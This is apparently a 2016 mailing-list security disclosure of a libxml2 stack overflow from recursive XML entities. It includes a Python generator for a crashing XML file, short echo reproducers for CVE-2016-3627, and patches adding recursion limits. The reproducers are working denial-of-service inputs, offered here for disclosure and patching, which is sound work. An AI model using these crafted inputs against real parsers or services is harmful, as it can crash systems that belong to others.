libxml 2.9.2 Stack Overflow

`Hi  
This is a disclosure of the following issue that was raised a week ago  
on the distro's mailing list. Both bugs on the gnome bugtracker are  
currently private and should be made public now. The two attached  
patches are based off the 2.9.3 libxml2 release.  
  
A couple of weeks back while working on a related bug [CVE-2016-3627] I  
discovered a specially created xml file is capable of triggering a stack  
overflow before libxml2 can detect its a invalid xml file.  
  
We raised this issue upstream on 2016-04-18 and informed them that we  
would place a two week embargo on the issue in case we didn't here back.  
As of yet we have had no response so we have posted here.  
https://bugzilla.gnome.org/show_bug.cgi?id=765207  
  
We intend to keep the current embargo (ending May 3) unless we get  
advise otherwise here. Below is a script to generate the xml file along  
with a tested patch to fix the issue. I will also include our  
unpublished patch and simplified reproducer for CVE-2016-3627 as again  
we have had no response upstream and its likely that you will want to  
fix this less severe issue at the same time.  
https://bugzilla.gnome.org/show_bug.cgi?id=762100  
  
python3 repoducer.py ; xmllint repo.xml  
  
repoducer.py  
-----------------------------------------------------------------------  
#!/bin/python3  
  
f = open('repo.xml', 'w')  
  
f.write( "<!DOCTYPE a [ ")  
  
i = 1  
  
while (i < 30000):  
f.write ("<!ENTITY a" + str(i) + " \"&a" + str(i+1) + ";\">")  
i = i+1  
  
f.write("<!ENTITY a" + str(i+1) + " \"&a1;\">]> <bruces bogans=\"&a1;\">")  
  
f.close()  
-----------------------------------------------------------------------  
  
Patch for this issue.  
-----------------------------------------------------------------------  
From: Peter Simons <[email protected]>  
Date: Fri, 15 Apr 2016 11:56:55 +0200  
Subject: Add missing increments of recursion depth counter to XML  
parser.  
  
The functions xmlParserEntityCheck() and xmlParseAttValueComplex() used  
to call  
xmlStringDecodeEntities() in a recursive context without incrementing the  
'depth' counter in the parser context. Because of that omission, the parser  
failed to detect attribute recursions in certain documents before  
running out  
of stack space.  
---  
parser.c | 8 ++++++++  
1 file changed, 8 insertions(+)  
  
diff --git a/parser.c b/parser.c  
index 9604a72..4da151f 100644  
--- a/parser.c  
+++ b/parser.c  
@@ -144,8 +144,10 @@ xmlParserEntityCheck(xmlParserCtxtPtr ctxt, size_t  
size,  
  
ent->checked = 1;  
  
+ ++ctxt->depth;  
rep = xmlStringDecodeEntities(ctxt, ent->content,  
XML_SUBSTITUTE_REF, 0, 0, 0);  
+ --ctxt->depth;  
  
ent->checked = (ctxt->nbentities - oldnbent + 1) * 2;  
if (rep != NULL) {  
@@ -3966,8 +3968,10 @@ xmlParseEntityValue(xmlParserCtxtPtr ctxt,  
xmlChar **orig) {  
* an entity declaration, it is bypassed and left as is.  
* so XML_SUBSTITUTE_REF is not set here.  
*/  
+ ++ctxt->depth;  
ret = xmlStringDecodeEntities(ctxt, buf, XML_SUBSTITUTE_PEREF,  
0, 0, 0);  
+ --ctxt->depth;  
if (orig != NULL)  
*orig = buf;  
else  
@@ -4092,9 +4096,11 @@ xmlParseAttValueComplex(xmlParserCtxtPtr ctxt,  
int *attlen, int normalize) {  
} else if ((ent != NULL) &&  
(ctxt->replaceEntities != 0)) {  
if (ent->etype != XML_INTERNAL_PREDEFINED_ENTITY) {  
+ ++ctxt->depth;  
rep = xmlStringDecodeEntities(ctxt, ent->content,  
XML_SUBSTITUTE_REF,  
0, 0, 0);  
+ --ctxt->depth;  
if (rep != NULL) {  
current = rep;  
while (*current != 0) { /* non input consuming */  
@@ -4130,8 +4136,10 @@ xmlParseAttValueComplex(xmlParserCtxtPtr ctxt,  
int *attlen, int normalize) {  
(ent->content != NULL) && (ent->checked == 0)) {  
unsigned long oldnbent = ctxt->nbentities;  
  
+ ++ctxt->depth;  
rep = xmlStringDecodeEntities(ctxt, ent->content,  
XML_SUBSTITUTE_REF, 0, 0, 0);  
+ --ctxt->depth;  
  
ent->checked = (ctxt->nbentities - oldnbent + 1) * 2;  
if (rep != NULL) {  
--   
2.7.4  
  
-----------------------------------------------------------------------  
  
CVE-2016-3627 - simplified reproducers  
echo '<!DOCTYPE b [ <!ENTITY b "&b;"> ]> <b b="&b;">' | xmllint -recover -  
echo '<!DOCTYPE b [ <!ENTITY b "&c;"> <!ENTITY c "&d;"> <!ENTITY d  
"&b;">]> <test123="&c;">' | xmllint -recover -  
-----------------------------------------------------------------------  
  
  
CVE-2016-3627 - Patch  
-----------------------------------------------------------------------  
From: Peter Simons <[email protected]>  
Date: Thu, 14 Apr 2016 16:15:13 +0200  
Subject: [PATCH] xmlStringGetNodeList: limit the function to 1024 recursions  
to avoid CVE-2016-3627  
  
This patch prevents stack overflows like the one reported in  
https://bugzilla.gnome.org/show_bug.cgi?id=762100.  
---  
tree.c | 14 ++++++++++++--  
1 file changed, 12 insertions(+), 2 deletions(-)  
  
diff --git a/tree.c b/tree.c  
index 6a158ce..9c9f0ec 100644  
--- a/tree.c  
+++ b/tree.c  
@@ -1464,6 +1464,8 @@ out:  
return(ret);  
}  
  
+static xmlNodePtr xmlStringGetNodeListInternal(const xmlDoc *doc, const  
xmlChar *value, size_t recursionLevel);  
+  
/**  
* xmlStringGetNodeList:  
* @doc: the document  
@@ -1475,6 +1477,11 @@ out:  
*/  
xmlNodePtr  
xmlStringGetNodeList(const xmlDoc *doc, const xmlChar *value) {  
+ return xmlStringGetNodeListInternal(doc, value, 0);  
+}  
+  
+static xmlNodePtr  
+xmlStringGetNodeListInternal(const xmlDoc *doc, const xmlChar *value,  
size_t recursionLevel) {  
xmlNodePtr ret = NULL, last = NULL;  
xmlNodePtr node;  
xmlChar *val;  
@@ -1483,6 +1490,8 @@ xmlStringGetNodeList(const xmlDoc *doc, const  
xmlChar *value) {  
xmlEntityPtr ent;  
xmlBufPtr buf;  
  
+ if (recursionLevel > 1024) return(NULL);  
+  
if (value == NULL) return(NULL);  
  
buf = xmlBufCreateSize(0);  
@@ -1593,8 +1602,9 @@ xmlStringGetNodeList(const xmlDoc *doc, const  
xmlChar *value) {  
else if ((ent != NULL) && (ent->children == NULL)) {  
xmlNodePtr temp;  
  
- ent->children = xmlStringGetNodeList(doc,  
- (const xmlChar*)node->content);  
+ ent->children = xmlStringGetNodeListInternal(doc,  
+ (const xmlChar*)node->content,  
+ recursionLevel+1);  
ent->owner = 1;  
temp = ent->children;  
while (temp) {  
--   
2.7.4  
  
-----------------------------------------------------------------------  
  
Cheers  
  
--   
  
Simon Lees (Simotek) http://simotek.net  
  
Emergency Update Team keybase.io/simotek  
SUSE Linux Adeliade Australia, UTC+9:30  
GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B  
`